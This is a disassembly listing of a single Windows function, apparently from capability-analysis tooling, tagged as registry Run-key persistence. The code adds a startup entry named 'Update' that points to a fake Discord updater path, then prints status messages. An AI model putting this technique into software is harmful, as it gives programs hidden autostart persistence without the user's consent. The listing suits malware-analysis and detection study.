Function at 0x14001adca
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
jmp 0x140039fc0
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140068040]
xor rax, rbp
mov qword [rbp + 0x1f0], rax
lea rcx, [0x140074126]
call fcn.14001b48c
nop
lea rax, str.Update
mov qword [rbp + 0x28], rax
lea rax, str.C:DiscordUpdateUpdate.exe
mov qword [rbp + 0x48], rax
lea rcx, [rbp + 0x1a4]
call fcn.14001ab5e
mov qword [rbp + 0x1d8], rax
mov rcx, qword [rbp + 0x28]
call fcn.14001a94c
mov rcx, qword [rbp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x1e0], rax
mov r9, qword [rbp + 0x1d8]
mov r8, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x68]
call fcn.14001b21b
nop
lea rcx, [rbp + 0x1c4]
call fcn.14001ab5e
mov qword [rbp + 0x1d8], rax
mov rcx, qword [rbp + 0x48]
call fcn.14001a94c
mov rcx, qword [rbp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x1e0], rax
mov r9, qword [rbp + 0x1d8]
mov r8, qword [rbp + 0x1e0]
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0xa8]
call fcn.14001b21b
nop
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 0x20006
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14003a1be
lea rcx, [rbp + 0xa8]
call fcn.14001a6db
shl rax, 1
mov dword [rbp + 0x1d4], eax
lea rcx, [rbp + 0xa8]
call fcn.14001a6ea
mov qword [rbp + 0x1d8], rax
lea rcx, [rbp + 0x68]
call fcn.14001a6ea
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e8], rax
mov eax, dword [rbp + 0x1d4]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x1d8]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x1e8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x14003a182
lea rdx, str.Program_successfully_added_to_startup.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14001aacd
mov qword [rbp + 0x1d8], rax
lea rdx, [0x14001aa32]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
jmp 0x14003a1b1
lea rdx, str.Failed_to_set_registry_value.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14001aacd
mov qword [rbp + 0x1d8], rax
lea rdx, [0x14001aa32]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
jmp 0x14003a1ed
lea rdx, str.Failed_to_open_registry_key.
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14001aacd
mov qword [rbp + 0x1d8], rax
lea rdx, [0x14001aa32]
mov rcx, qword [rbp + 0x1d8]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xa8]
call fcn.14001b16c
nop
lea rcx, [rbp + 0x68]
call fcn.14001b16c
nop
lea rcx, [rbp - 0x30]
lea rdx, [0x140058180]
call fcn.14001b0e5
mov rcx, qword [rbp + 0x1f0]
xor rcx, rbp
call fcn.14001aa19
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret